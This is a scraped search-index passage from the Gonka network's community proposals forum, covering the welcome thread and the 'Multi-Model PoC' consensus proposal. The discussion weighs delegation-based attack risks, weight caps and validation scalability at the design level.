as the first multi model PoC launch model @beatifull 2026-04-18 1085 INC4 | Gonka Node Observability Platform @rwxr-xr-x 2026-04-18 1008 Token-Based Governance: Splitting Technical and Community Decisions @Alert17 2026-04-20 954 Optimistic parallel execution of messages for inference-chain @akup 2026-03-26 951 TEE Implementation @mtvnastya 2026-06-05 930 Proposal: Agent identity and delegation governance for Gonka compute @aeoess 2026-03-22 875 Automatic Node Provisioning Tool exists @SegovChik 2026-03-10 873 !OUTDATED! Optional Centralized Monitoring for Gonka Validators @SegovChik 2026-04-16 870 Gonka AI Testnet @Alert17 2026-05-01 869 GiP #860 — Inference Quality Protocol: Semantic Inference Optimization @Mayveskii 2026-03-08 864 Proposal: Deploy Gonka AI Web Platform v1 to Production (app.gonka.ai) @zpoken 2026-03-05 860 GiP: Inference Quality Axis Registry — extending CacheQualityWeight toward measurable useful work @Mayveskii 2026-03-11 837 High-availability / Fault-tolerance Setup @blizko 2026-03-03 836 Gonka-native Coding CLI @Apha205 2026-04-20 816 Gonka Node Manager — Automated Node Deployment, Updates, and Monitoring @ochenUmnayaKatyshka 2026-03-09 802 Continuous PoC @mtvnastya 2026-03-26 801 Inference Scaling @gmorgachev 2026-02-28 800 Multi-Model PoC @gmorgachev 2026-04-20 795 Welcome to Proposals 👋 @mtvnastya 2026-04-16"}, {"location": "community/discussion/proposals/0795-welcome-to-proposals/", "title": "#795 — Welcome to Proposals 👋", "text": "🔄 Auto-sync: from Discussion #795 every hour.
"}, {"location": "community/discussion/proposals/0795-welcome-to-proposals/#welcome-to-proposals", "title": "Welcome to Proposals 👋", "text": "Автор: @mtvnastya · Категория: Proposals · Создано: 2026-02-24 07:27 UTC · Обновлено: 2026-04-16 06:17 UTC
"}, {"location": "community/discussion/proposals/0795-welcome-to-proposals/#_1", "title": "📝 Описание", "text": "This is the space for discussing proposals for protocol improvements and the broader Gonka ecosystem development. If you have an idea that could make Gonka better, this is the place to share it.
What belongs here
How to write a good proposal Keep your proposal structured and include: - Motivation - the specific problem you are solving - High-Level Solution - your architectural approach - Implementation Roadmap - specific milestones if the change is complex - Open Questions - known unknowns to discuss during the community call - Who you are - share context about your experience and expertise in the proposal thread. That could be your previous contributions to Gonka or any other reputable projects. If you represent a team or a company, mention it and link relevant work to help the community assess credibility and evaluate the proposal more efficiently.
Implementation timeline and bounty can also be proposed as part of the discussion.
Next Steps Once your proposal is written, promote it on Discord and other platforms to gather feedback. React, upvote, and comment on others' proposals - this helps everyone understand what matters most and move toward implementation knowing what community needs.
"}, {"location": "community/discussion/proposals/0795-welcome-to-proposals/#1", "title": "💬 Комментарии (1)", "text": ""}, {"location": "community/discussion/proposals/0795-welcome-to-proposals/#1-mayveskii", "title": "Комментарий 1 — @Mayveskii", "text": "2026-04-16 06:17 UTC
@mtvnastya , Hi there, Nastya!
🤗
Thank you for the wonderful opportunity to be part of the protocol and community development process; it's incredibly valuable!
Who am I? I'm a newbie researcher. My idea is to follow the core philosophy of gonka and accelerate the development of qualitatively new solutions to user problems at all levels by sharing the results. This is most accurately achieved by leveraging the opportunities your protocol lifetime provides.
I calculated this in #859 & #860, but I understood that tests and mock data are of little interest to you without results. I decided to narrow my scope of responsibility in executing the idea to a minimum, demonstrating a standard of quality in one specific process: protocol development and patching. I developed a system consisting of several layers that fulfill the requirements of my specific goal: a server, MCP, and a management environment. What have I achieved? All my open and merged PRs are the result of this runtime. By the time the system patches were released, I didn't even fully understand these patches; I only double-checked everything 20 times before submitting them. What 100% proves is what people have already proven a million times before me: that a useful result like pep-8 should be reflected, distilled, and reused. It's worth noting that applying this system's quality matrix to my queries reduces patch times dramatically, which directly impacts the number of tokens you'll spend on infrastructure while repeating previously calculated steps, recalculating them over and over again. Here we can discuss how each of us uses LLM, but now imagine when we combine these efforts thanks to this runtime. It's hard for me to imagine the final result, but I can easily imagine that your use of this tool guarantees you scale.
What am I proposing? I'd like to finalyze it for source code and idea finally proposed in in the near future so we can review the work, use it, and suggest our own development vector for this system or its merger with the existing one. In my understanding, for applying a quality mask to a network, it would be optimal to have a number of node servers, CPUs, and GPUs to support this instance and ensure proper routing and improve the quality of work for participants. We're already seeing some of these changes everywhere today, but in a very fragmented and limited form. We shouldn't do the same thing all at once, and the sooner we move away from this and centralize our efforts, the more and faster we'll find high-quality results. If an ordinary system administrator has proven this today by patching 1,000 lines of useful code into your protocol, which is sometimes highly valued, then what will happen when we accumulate efforts and knowledge...? This was a great opportunity to prove myself, and I'm grateful for it. Now, to conclude... Proving the usefulness of the quality matrix is only part of the results that can be gleaned from it. And the key to achieving the full potential of these results is scale. I was primarily thinking about how the protocol's advent would change the lives of everyone affected by it, and how to make this impact as effective as possible... The answer is obvious: produce a useful result. Conduct research and establish a standard, then share it and update it. This applies not only to code, but to any results we can bring to the gonka ecosystem. I'm most intrigued by science and research in the scientific field, namely, those that will allow ordinary people who don't have access to it today to obtain it and become completely autonomous, regardless of where they are.
Technical details for reference. How these patches were produced: Every patch listed below was discovered through a structured pipeline: RAG indexes 52K+ code chunks with 5-signal hybrid search (semantic + comments + AST symbols + keywords + markdown), a semantic mesh of 205K+ invariant slots across 7 domains identifies recurring bug patterns (dominant pattern: error_swallowed_with_logwarn), and ai-reviewer with 20+ gonka-specific personas (chain_security, calculations, state-modified, consensus) verifies each finding before submission. From 45 initial hunt findings, 34 were eliminated as false positives after code-level verification, leaving 11 verified real bugs grouped into 6 PR blocks (A-F), all passing ai-reviewer. Scalability — 3 options, building on #859/#860/#878: 1. Centralized hub (as proposed in #878): Each protocol node runs a binary-mesh instance. Patches, patterns, and invariants are distilled into mesh slots on each node. QualityMatrix tracks L0-L9 per node. Mesh slots sync across nodes — when one node discovers a pattern (e.g. error_swallowed_with_logwarn), all nodes benefit immediately. This is the natural evolution of #859 (L2 quality gate pipeline). 2. Federated mesh: Nodes don't share raw code — they share distilled invariant slots (pattern + fix + verification). Each slot is ~500 bytes. A 205K-slot mesh is ~100MB. Nodes query the federated mesh before submitting PRs, eliminating duplicate discoveries. This keeps proprietary data local while sharing the value. 3. API service: Host binary-mesh centrally. Protocol teams submit PR diffs via webhook. ai-reviewer runs 20+ personas, results posted as PR comments. Zero infra cost for the protocol team — we host, they consume. This is what we already do manually (ai-reviewer on every PR block before submission). Complete PR track record (all produced by binary-mesh pipeline): Merged: - ethereum/go-ethereum#34038 — txLookupLock mutex leak in reorg() - ethereum/go-ethereum#34039 — fix txLookupLock mutex leak on error returns in reorg() Open (awaiting review): - gonka-ai/gonka#909 — BLS context propagation + per-call timeouts - gonka-ai/gonka#910 — BLS ProcessKeyGenerationInitiated idempotency guard - gonka-ai/gonka#968/#969/#970 — InjectParams error propagation, graceful shutdown, ErrInsufficientFunds regex - gonka-ai/gonka#1013 — subnet escrow fund loss (APPROVED by Doog-bot534) - gonka-ai/gonka#1014/#1015 — SubnetHostEpochStats + settlement overflow guards - gonka-ai/gonka#1017 — bitcoin supply-cap overflow - gonka-ai/gonka#1071-#1076 — 6 verified bug blocks (error propagation, zero tokens, nil epoch, PoC V2 storage, claim rewards PoC overlap, dynamic pricing) — all passing ai-reviewer Closed superseded: - gonka-ai/gonka#1016 → Issue #1067 (ClaimRewards payout error handling) - ethereum/go-ethereum#34665 — pending replace eligibility check (open) Issue: - gonka-ai/gonka#1067 — ClaimRewards error handling (commit ec5e453 predates Doog-bot534 #1051 by 10 days) Foundational work: - gonka-ai/gonka#859 — semantic cache L2 quality gate pipeline (merged) - gonka-ai/gonka#878 — semantic cache extending (open, references #859/#860)
Summary findings time spent - 12 hours. Summary dev time spent - 3 months.
Thank you again for such a wonderful opportunity. If I hadn't seen Libermans on YT three months ago, I probably wouldn't have come to this. So, the idea is yours )) And the result is shared. Thank you, guys. I hope you find my work relevant. I'd love to hear your feedback.
"}, {"location": "community/discussion/proposals/0800-multi-model-poc/", "title": "#800 — Multi-Model PoC", "text": "🔄 Auto-sync: from Discussion #800 every hour.
"}, {"location": "community/discussion/proposals/0800-multi-model-poc/#multi-model-poc", "title": "Multi-Model PoC", "text": "Автор: @gmorgachev · Категория: Proposals · Создано: 2026-02-25 04:24 UTC · Обновлено: 2026-04-20 14:57 UTC
"}, {"location": "community/discussion/proposals/0800-multi-model-poc/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/proposals/0800-multi-model-poc/#proposal-multi-model-poc", "title": "Proposal: Multi-Model PoC", "text": "POC procedure is short term benchmark to compare how much compute each host has. It happens 1 time per epoch to define weight per each host which then used as consensus weight to produce blocks and for distributing tasks between hosts. Additionally there is Confirmation (random) POC which is used to confirm weight when network is underloaded by inference (to make sure hardware it still there).
POC phases: - GENERATION (blocks equal to 1-5 min) - VALIDATION (blocks equal to 2-10 min) - INFERENCE PHASE (no POC but sometime might be interrupted to Confirmation POC)
Validation and inference theoretically can be done in parallel.
Current security model required >50% of total network consensus weight to vote \"valid\". Without delegation, an attacker needs >50% of total network weight to corrupt any (and all) host's validation.
The bitcoin-style part of reward distributed proportionally to this weight. On early phase it's main motivation as inference is much cheaper.
"}, {"location": "community/discussion/proposals/0800-multi-model-poc/#problem", "title": "Problem", "text": "The chain must support multiple models.
Currently the chain can’t support multiple models because we have single-model PoC
Why can’t we support multiple models with single-model PoC?
If we serve multiple models with current single-model PoC, that means that you need to redeploy a model before each cPoC. And if you can do that - you can use this time to deploy models on new nodes. Which essentially opens the network for attack when attacker deploy hardware only for POC phase Why do we need cPoC at all?
Because a) we want to make sure that if the network load is low - compute is still there b) until the quality of benchmarking hardware by the users’ inference itself is high enough Thus the option of redeploying models for PoC vs inference can’t be used and we need to figure out how to support different models during PoC and cPoC.
"}, {"location": "community/discussion/proposals/0800-multi-model-poc/#proposal", "title": "Proposal", "text": "Let's try to build a system which supports several models simultaneously where POC procedure happens without re-deploy, for every model independently. Such different POCs correspond to quite different compute power (essentially they would measure not raw compute power but how \"optimal\" the configuration is for specific hardware). As POC is not only a source of the weight for task distribution across a specific model but also a way to define the consensus weight, we need to define how to aggregate weights from different POCs and how to validate each POC's results.
For aggregation, the chain would have to define how valuable each POC's weight is to the chain. Coefficients converting POC weight to consensus weight can be defined as governance parameters by direct voting. They can be defined in a way that bigger, more powerful and more popular models would bring more weight. As the newest hardware is also optimized for serving top-tier models (a lot of VRAM, fast cross-gpu connection, FP4/FP8 support, etc.), it would naturally incentivize hosts to switch newer GPUs to the most powerful models, to get more weight per \\$. It's important for the chain's growth to make serving best models (which require most optimized GPUs) most profitable.
This proposal sets the goal to maintain same style of POC validation - every host validates every other host (or its probabilistic analogy for case of slots). One approach to achieve that would be to enforce each host to participate (have hardware) in each model. But such approach is impractical and would raise the hardware requirements too much. To avoid that, the proposal introduces PoC delegation from a host to another host it trusts. Such delegation allows to maintain the property of validation by majority of consensus power (but for sure introduces new security assumption, more about it in Appendix A).
To define the process of adding new models to the chain, this proposal allows serving models which are not approved by governance, without inference validation and without gaining consensus power from serving such models. It also defines the process how a model approved by governance becomes eligible for consensus weight.
Warning: This proposal assumes the O(N^2) validation model (>50% weight threshold). Slot-based validation is out of scope. Most probably slot-based approach will work the same way, with independent slot assigning in each group. But it must be double-checked whether to use $votingPower$ or $consensusWeight$ for hosts in group.
"}, {"location": "community/discussion/proposals/0800-multi-model-poc/#terms", "title": "Terms", "text": "Let epoch $S$ be current. The following defines weight computation for epoch $S+1$. Pre-eligibility ($PreE_{S+1}$) is determined $N$ blocks before epoch $S+1$ PoC starts. In this section, $*_S$ denotes values from epoch $S$ and used as inputs for epoch $S+1$. Group membership and delegation are evaluated at the pre-eligibility cutoff and treated as fixed for the epoch.
$group_i$ — model group for model $i$ (members are hosts with MLNodes serving model $i$). Network supports $M$ models on-chain.
$pocWeight_S(group_i, p)$ — weight of host $p$ in $group_i$ at epoch $S$. Equals the number of nonces computed by $p$ in PoC procedure for this group and successfully validated. Local weight within the group.
$consensusKoeff_i$ — coefficient converting $pocWeight$ in $group_i$ to consensus weight. Defined by governance per model.
$consensusWeight_S(p) = \\sum_{i: group_i \\in E_S} consensusKoeff_i \\times pocWeight_S(group_i, p)$ — (see Appendix A for cap protection)
$members(group_i) = \\lbrace p : p \\text{ has MLNode deployed for model } i \\rbrace$ — hosts with MLNode deployed for the model
$hosts_S(group_i) = \\lbrace p : consensusWeight_S(p) > 0 \\text{ and } p \\in members(group_i) \\rbrace$
Members with non-zero consensus weight. The weight may come from any eligible group, not necessarily $group_i$.
$|hosts_S(group_i)| \\geq V_{min}$
$E_{S+1}$ — set of consensus-eligible groups for epoch $S+1$. A group $group_i \\in E_{S+1}$ if:
At least $V_{min}$ hosts in the group pass PoC validation at epoch $S+1$ (see validation rule below)
$W_{threshold}$ — minimum fraction of total network consensus weight required for group eligibility (governance parameter)
$V_{min}$ — minimum number of hosts with non-zero consensus weight required in a group (governance parameter)
Currently $group_{Qwen3-235B-FP8}$ is the only eligible group (single-model PoC). This proposal extends to multiple groups.
The initial group ($group_{Qwen3-235B-FP8}$) is exempt from the weight cap (Appendix A) and provides base consensus weight for validating new groups.
A host participating in multiple eligible groups requires separate hardware per group. PoC runs concurrently across all eligible groups within the same epoch.
$delegation_S(group_i, p_{from}, p_{to})$ — consensus weight delegated from host $p_{from}$ to host $p_{to}$ for validation in $group_i$ at epoch $S$. Host $p_{from} \\notin members(group_i)$; host $p_{to} \\in members(group_i)$. Delegation is set before epoch start; changes during an epoch take effect from the next epoch.
$r_{delegation}$ — fraction of bitcoin-style reward delegator shares with delegate (governance parameter, e.g., 1%, per each group??)
$r_{refusal}$ — fraction of bitcoin-style reward sent to governance when host explicitly refuses to participate in a group; must be > $r_{delegation}$ (governance parameter, e.g., 5%, per each group??)
$r_{penalty}$ — fraction of bitcoin-style reward lost when host fails to make a participation choice for any governance-approved group (governance parameter, target 100%)
$T_{grace}$ — grace window duration after governance approval before penalties apply (governance parameter, e.g., 3 epochs)
$votingPower_S(group_i, p) = consensusWeight_S(p) + \\sum_{p_{from}} delegation_S(group_i, p_{from}, p)$ — total validation voting power of host $p$ in $group_i$
Delegation constraints: $delegation_S(group_i, p_{from}, p_{to}) \\ge 0$ and, for each $(group_i, p_{from})$, $\\sum_{p_{to}} delegation_S(group_i, p_{from}, p_{to}) \\le consensusWeight_S(p_{from})$.
Q1: Can a host split delegation across multiple hosts in the same group?
"}, {"location": "community/discussion/proposals/0800-multi-model-poc/#eligible-groups", "title": "Eligible Groups", "text": "Weight computed in PoC procedure for eligible model groups contributes to total consensus weight via governance-defined coefficient. Consensus weight determines: - Block signing power - Governance voting power - PoC validation voting power - Bitcoin-style reward distribution (proportional to consensus weight)
Within a group, inference requests are distributed according to $pocWeight_S(group_i, p)$. Inference rewards follow the same distribution.
"}, {"location": "community/discussion/proposals/0800-multi-model-poc/#poc-validation", "title": "PoC Validation", "text": "Delegation: Hosts not in a group can delegate their consensus weight to a host who is. The delegate votes on their behalf. Delegation is per-group and set before epoch start.
Validation rule: Host $p$'s PoC result in eligible $group_i$ is accepted if:
$$\\frac{\\sum_{v \\text{ votes valid for } p} votingPower_S(group_i, v)}{\\sum_{q} consensusWeight_S(q)} > \\frac{1}{2}$$
Hosts not in the group and not delegating effectively vote against approval. Delegation is therefore essential for any group whose direct members hold less than 50% of total network weight.
Voting power details: - Number of MLNodes does not matter -- 1 MLNode or 100 MLNodes yields the same vote power - Delegation changes take effect from next epoch
Trust model: Delegator trusts the delegate to vote correctly.
TODO: Mechanism to revoke delegation mid-epoch if delegate votes maliciously.
"}, {"location": "community/discussion/proposals/0800-multi-model-poc/#mandatory-group-participation-incentive", "title": "Mandatory Group Participation & Incentive", "text": "Every host with consensus weight must actively participate in every governance-approved group. For each group, the host chooses one of:
During the grace window ($T_{grace}$ epochs after governance approval), hosts must make a participation choice but there is no penalty for any choice. After the grace window ends, penalties apply: hosts who didn't make a choice lose $r_{penalty}$ of their bitcoin-style reward.
This incentivizes >50% of total consensus weight to participate in PoC validation for every governance-approved group.
"}, {"location": "community/discussion/proposals/0800-multi-model-poc/#unregistered-models", "title": "Unregistered Models", "text": "Any host can add a model to the chain and serve inference without governance approval (with additional fees).
Properties: - No inference validation by other hosts - Price set directly by host - Requests sent directly to host - Host stores payload locally but no cross-validation - Each GNK payment has fee sent to governance - No bitcoin-style rewards
Purpose: build demo-case for governance proposal to show demand for the model.
"}, {"location": "community/discussion/proposals/0800-multi-model-poc/#model-lifecycle", "title": "Model Lifecycle", "text": "A governance-approved group may or may not be eligible in any given epoch depending on whether it meets eligibility conditions.
"}, {"location": "community/discussion/proposals/0800-multi-model-poc/#implementation", "title": "Implementation", "text": "[To be defined]
"}, {"location": "community/discussion/proposals/0800-multi-model-poc/#appendix-a-delegation-based-attack-and-protection", "title": "Appendix A: Delegation-based Attack and Protection", "text": "Attack: Host accumulates >50% $votingPower$ via delegation, validates fake participant claiming large weight, gains consensus control.
Protection option: Cap weight from each group by members' proven weight elsewhere.
$$\\text{consensus weight from } group_i \\leq f \\times \\sum_{p \\in members(group_i)} \\text{(}p\\text{'s consensus weight from other eligible groups)}$$
If a group's raw PoC weight exceeds the cap, scale all members proportionally to fit.
For clarity: \"other eligible groups\" refers to consensus weight already earned from eligible groups excluding $group_i$ itself (i.e., using $consensusWeight_S$ contributions from $E_S \\setminus \\lbrace group_i \\rbrace$), to avoid circular dependence.
This bounds the damage from fake participants: even if they pass validation, their weight contribution is limited by real members' stake in other groups. The cap is a secondary defense; validation (>50% of network weight) remains the primary one.
Q5: What should $f$ be?
"}, {"location": "community/discussion/proposals/0800-multi-model-poc/#5", "title": "💬 Комментарии (5)", "text": ""}, {"location": "community/discussion/proposals/0800-multi-model-poc/#1-tcharchian", "title": "Комментарий 1 — @tcharchian", "text": "2026-02-27 20:54 UTC
Please consider joining the discussion on this proposal and sharing any ideas or suggestions. An initial version will be provided by the proposal author, and feedback from participants will help refine the approach and clarify next steps.
"}, {"location": "community/discussion/proposals/0800-multi-model-poc/#2-akup", "title": "Комментарий 2 — @akup", "text": "2026-03-01 07:24 UTC
Questions 1. When host A delegates it's vote to host B in another model group, it adds the voting power to host B. But why it is not reducing voting power of host A?
If some host A trusts host B it seams that they are already in the trust group and have communication and can agree on joint actions. Actually what is the difference if it was one host?
How participant can choose to what host delegate it's weight? How it could be practically coordinated? It would be more clear if there will be real world example with a step by step plan: if there is a new model, and there are new hosts who want to run it, how do they start? How they are getting delegation, how hosts from other groups starting to know that they need to delegate and how they can decide what host to choose to delegate it's vote to?
How many hosts should run the model to start group working. For example if there is just 2 hosts will they get the reward? If there are 3 hosts? Form what number of hosts we can trust the group (seems to be related to Q5 question)
How following scenario can be avoided? New grace period begins. Attacker creates multiple hosts that are going to participate with the model Participants from other groups, as they don't know personally to whom delegate the vote, delegate it to \"random someone\" Also attacker delegates his votes (from multiple hosts) to his hosts in a new group. And attacker gets the control of the group
Isn't it simpler to have a new model seed (genesys) group? For example, hosts that already have voting power can run some of their mlnodes with new model and get additional reward for participating in early start of the new model group. They help to start the new model group (as they have resources and are interested in network development) as they already have the voting power, but there will no be all difficulties (that are not only technical but also real-life practical) of delegation.
p.s. Unregistered Models is a very good point
↳ Ответ от @gmorgachev · 2026-04-02 05:08 UTC
But why it is not reducing voting power of host A? host A doesn't have voting power in this model group, it can't be reduces. host A can either has MLNode with this model or delegate its PoC validation important: it's doesn't affect consensus weight of any hosts
If some host A trusts host B it seams that they are already in the trust group and have communication and can agree on joint actions. Actually what is the difference if it was one host? In my understanding host A can delegate to well known hosts with great reputation on mainnet. So they don't have to really know each other but host A must trust host B incentive to act honest. I think the joining nodes is much closer :)
How many hosts should run the model to start group working. For example if there is just 2 hosts will they get the reward? If there are 3 hosts? Form what number of hosts we can trust the group (seems to be related to Q5 question) I don't think any validation can happen with less then 3 hosts. But we also must have limitation on the total consensus weight of this this model group participants. I think it should not be less then at least 5-10% of the network (if talk about today's size)
How following scenario can be avoided? From my perspective it should be combination of limits on: - minimal consensus power from another group which hosts must have for group to be eligible (5-10%+) - cap on the weight which single group might have (to avoid getting control of the whole chain)
I agree that delegation to \"random someone\" is serious concern and mechanism relies on the fact that host must make informed decision about delegation. Do you have some additional ideas how to protect in mind?
Isn't it simpler to have a new model seed (genesys) group? For example, hosts that already have voting power can run some of their mlnodes with new model and get additional reward for participating in early start of the new model group. They help to start the new model group (as they have resources and are interested in network development) as they already have the voting power, but there will no be all difficulties (that are not only technical but also real-life practical) of delegation.
I don't see how it would help to avoid delegation. The question is what consensus weight will have such group. If only their weight counts, with current limit such seed group must control > 2/3 of the total network power for PoC to pass. Which is impossible If PoC inside this new group will be counted only from weight of participants - such early seed nodes can also easily cheat.
In the original proposal the initial seed group is still existing validators with some threshold on their total weight. Delegation just allows to make this threshold lower then 2/3
↳ Ответ от @gmorgachev · 2026-04-02 05:58 UTC
Sorry, i used 2/3 instead of 50% in the comment as found out that mainnet already uses 2/3 as the threshold
"}, {"location": "community/discussion/proposals/0800-multi-model-poc/#3-andrey055", "title": "Комментарий 3 — @andrey055", "text": "2026-03-03 12:13 UTC
The proposal to test new models without a Bitcoin-style reward is very strong.
I would really like to see it implemented. Of course, there are certain concerns — for example, the risk that a host could discredit the network by deploying an incorrectly configured model, such as one with a reduced context window.
I hope appropriate safeguards against this will be put in place.
"}, {"location": "community/discussion/proposals/0800-multi-model-poc/#4-jacky6block", "title": "Комментарий 4 — @jacky6block", "text": "2026-03-04 10:16 UTC
Thanks for writing this up — the high-level direction (multi-model PoC w/o redeploy; per-model PoC weights aggregated into consensus weight) makes sense. After reading the whole proposal + Appendix A, I think there are a few high-risk gaps and several must-clarify items before this feels safe / implementable.
"}, {"location": "community/discussion/proposals/0800-multi-model-poc/#1-delegation-shifts-validation-power-from-hardware-to-social-coordination-security-liveness", "title": "1) Delegation shifts validation power from “hardware” to “social coordination” (security + liveness)", "text": ""}, {"location": "community/discussion/proposals/0800-multi-model-poc/#bribery-delegation-aggregation-becomes-the-cheapest-attack-vector", "title": "Bribery / delegation aggregation becomes the cheapest attack vector", "text": "When a new group’s native members hold far less than the >50% global threshold, delegation becomes the only practical path to pass PoC validation during cold-start. In that regime, an attacker may be able to acquire majority votingPower by bribing / incentivizing a small number of high-consensusWeight delegators — potentially much cheaper than provisioning equivalent hardware.
Because “valid” requires >50% of global consensusWeight, a new model group can get stuck if large-weight hosts don’t actively delegate (apathy, coordination costs, or strategic refusal). This effectively gives incumbents a veto and makes onboarding new models depend heavily on off-chain coordination.
The proposal mentions the need to revoke delegation mid-epoch, but it’s not specified how: - delegators detect delegatee misbehavior fast enough (PoC windows are minutes), - revocation becomes effective within the same epoch, - losses are handled if detection happens after the validation window.
"}, {"location": "community/discussion/proposals/0800-multi-model-poc/#2-clarification-needed-delegation-spending-vs-replication", "title": "2) Clarification needed: delegation “spending” vs “replication”", "text": "In the current definition of votingPower(group_i, p) (additive with delegated amounts), it’s easy to interpret delegation as adding weight on top of the delegatee without clearly “removing” it from the delegator’s effective budget inside that group.
Request: please explicitly define delegation semantics as a group-specific transfer of validation budget (not replication). Concretely: - once p_from delegates to p_to for group_i, does p_from forfeit any direct voting/validation influence in that group for the epoch? - does delegation affect only group validation voting, or also global governance / block production weight?
My suggestion would be: delegation should be scoped to group validation only (no change to global block production / governance weight), and should be modeled as non-double-spendable budget inside the group.
Also, please clarify what “non-participation is effectively a no vote” means in the math: is it abstain counted via denominator, abstain excluded, or simply absent from numerator while denominator remains global total?
"}, {"location": "community/discussion/proposals/0800-multi-model-poc/#3-scalability-og-n2-validation-is-hard-to-see-as-sustainable", "title": "3) Scalability: O(G · N^2) validation is hard to see as sustainable", "text": "Keeping O(N^2) validation per group becomes O(G·N^2) when multiple eligible groups run in parallel. Even if bandwidth is okay, CPU sig verification, state handling, retries, and fork recovery will likely bottleneck — especially in 2–10 minute windows.
Also “PoC/validation and inference can run in parallel” needs a concrete resource isolation / priority story. Even with separate GPUs per group, network + CPU contention can still degrade inference latency/UX.
Request: outline either: - a concrete scalability plan (sampling/batching/quotas) that preserves the >50% semantics, or - why O(G·N^2) is acceptable under realistic target N and G.
"}, {"location": "community/discussion/proposals/0800-multi-model-poc/#4-cap-appendix-a-doesnt-fully-address-group-local-capture-fairness", "title": "4) Cap (Appendix A) doesn’t fully address group-local capture / fairness", "text": "Cap limits a new group’s impact on global consensus weight (inflation / sudden dominance), but it doesn’t stop group-local capture, e.g. coordinated voting to mark honest participants invalid or monopolize inference revenue for a popular new model.
Cap also depends on weight earned in other mature groups → strong path dependence / incumbent advantage (new entrants are structurally capped even if they’re best on the new model).
Request: clarify what cap is intended to mitigate (global takeover vs group-local capture), and consider extra mechanisms for group-local correctness/fairness (challenge/appeal, slashing, auditability, etc.).
"}, {"location": "community/discussion/proposals/0800-multi-model-poc/#5-independent-hardware-per-group-looks-like-a-soft-requirement-today", "title": "5) “Independent hardware per group” looks like a soft requirement today", "text": "Without a verifiable attestation mechanism (TEE / hardware fingerprints / vendor attestation), the “independent hardware per eligible group” requirement is technically unenforceable. Actors could potentially use virtualization (vGPU) or scheduling tricks to appear in multiple groups from the same physical hardware.
Request: should we treat this as a best-effort policy rather than a security pillar (and say so explicitly), or introduce some form of hardware spec registration / attestation / auditing?
"}, {"location": "community/discussion/proposals/0800-multi-model-poc/#6-optional-improvement-directions-appendix-level-but-worth-discussing", "title": "6) Optional improvement directions (appendix-level, but worth discussing)", "text": "consensusKoef instead of purely governance discretion (needs anti-wash-trading / anti-sybil guardrails).Happy to help refine parameters (W_threshold, V_min, T_grace, f) or propose sampling sizes / threat-model math. IMO the critical path items are: delegation semantics + cold-start/liveness + a scalability plan.
↳ Ответ от @gmorgachev · 2026-04-02 05:20 UTC
1) Delegation shifts validation power from “hardware” to “social coordination” (security + liveness) Bribery / delegation aggregation becomes the cheapest attack vector
To be honest not sure how it changes the security model. There is same BFT assumption that >2/3 of hosts are honest, in terms of bribery too. If we assume that attacker can bribe honest supermajority, then they would be able to bribe them during PoC validation without delegation too, am i missing smth?
Cold-start deadlock / structural veto by incumbents
Refusal to delegate after the grace period would lead to penalty on bitcoin-style reward. Which creates incentive for big hosts to delegate
Revocation / reaction latency is still a TODO
The epoch now is about 24hours. I was thinking about the case when in the middle of epoch N host A understands that host B tries to cheat. And then it tries to revoke delegation so it's weight will not be used during voting for epoch N+1 weights. I assume that delegation for whole epoch N are obtained on the time of epoch N's start. The question is mostly when to snapshot delegation or allow dynamic changes
↳ Ответ от @gmorgachev · 2026-04-02 05:45 UTC
2) Clarification needed: delegation “spending” vs “replication” once p_from delegates to p_to for group_i, does p_from forfeit any direct voting/validation influence in that group for the epoch?
In my opinion p_from must be able to either delegate its weight in group_i OR vote by itself in group_i. So if it delegated - it can't vote and also can't have MLNode in that group. If p_from decides to deploy MLNode in group_i, it'll cancel all its validation in group_i
does delegation affect only group validation voting, or also global governance / block production weight?
Delegation affects only PoC validation inside certain group. Block production weight, governance decision weight and weight used for reward or tasks distribution are not affected
Delegation happens by key (p_from, p_to, model_id), separately per each model
3) Scalability: O(G · N^2) validation is hard to see as sustainable
Just to clarify, the question is about PoC validation complexity or about chain itself? If about chain
Even if bandwidth is okay, CPU sig verification, state handling, retries, and fork recovery will likely bottleneck — especially in 2–10 minute windows.
Chain / block production itself doesn't depends on amount of model groups. All this data are used in the same mainnet. So there is almost no changes in retries, fork recovery, etc due to multi-model PoC (couple new fields in existing transactions MsgPoCV2StoreCommit, MsgMLNodeWeightDistribution and MsgSubmitPocValidationsV2)
If about PoC validation
There were slot-based mechanism which were released in v0.2.10 upgrade https://github.com/gonka-ai/gonka/blob/main/proposals/poc/optimize.md It allows to change complexity to O(G * N * N_SLOTS), with recommended N_SLOTS=128
The mechanism can be activated by voting for parameters, without upgrade
There is also random sampling of PoC artifacts to validate, that mechanism is already active
↳ Ответ от @gmorgachev · 2026-04-02 05:52 UTC
5) “Independent hardware per group” looks like a soft requirement today
Are you reference to part?
..where POC procedure happens without re-deploy, for every model independently
I think there is no need in any real requirements for specific hardware. The PoC procedure happens for all models simultaniously. So if host is able to submit artifacts for model A and model B at the same PoC and these artifacts are validated by another hosts, it assumes that this host had hardware to deploy both models. From my perspective it's not that much important if same hardware is presented in different groups as it's computation power / VRAM resources will be also splitted between groups. So it'll no power gain from such action, just participating in both groups, which is good for security
↳ Ответ от @gmorgachev · 2026-04-02 06:05 UTC
4) Cap (Appendix A) doesn’t fully address group-local capture / fairness Cap limits a new group’s impact on global consensus weight (inflation / sudden dominance), but it doesn’t stop group-local capture, e.g. coordinated voting to mark honest participants invalid or monopolize inference revenue for a popular new model.
Cap also depends on weight earned in other mature groups → strong path dependence / incumbent advantage (new entrants are structurally capped even if they’re best on the new model).
Request: clarify what cap is intended to mitigate (global takeover vs group-local capture), and consider extra mechanisms for group-local correctness/fairness (challenge/appeal, slashing, auditability, etc.).
The main mechanism to limit group specific dominance - is using of the total consensus weight in denominator. So, if total chain's weight is 1000 (from all groups), to pass validation inside the group_i, host will have to be approved by hosts with > 666 votingWeight (in initial text it was 50% that was my mistake, chain already uses 2/3) So, supermajority from the whole chain validated PoC artifacts / delegated their PoC votes
Do you mean some specific group-local capture attack?
↳ Ответ от @gmorgachev · 2026-04-02 06:12 UTC
About the TEE, there is a separate thread where i fully agree that it's required :) https://github.com/gonka-ai/gonka/discussions/951
"}, {"location": "community/discussion/proposals/0800-multi-model-poc/#5-unameisfine", "title": "Комментарий 5 — @unameisfine", "text": "2026-04-20 14:57 UTC
"}, {"location": "community/discussion/proposals/0800-multi-model-poc/#implementation-level-review-from-the-current-codebase", "title": "Implementation-level review from the current codebase", "text": "The high-level direction and the security analysis by @jacky6block are solid. I went through the current PoC implementation to identify concrete gaps the proposal would need to address. These are supplementary to the delegation/scaling concerns already raised.
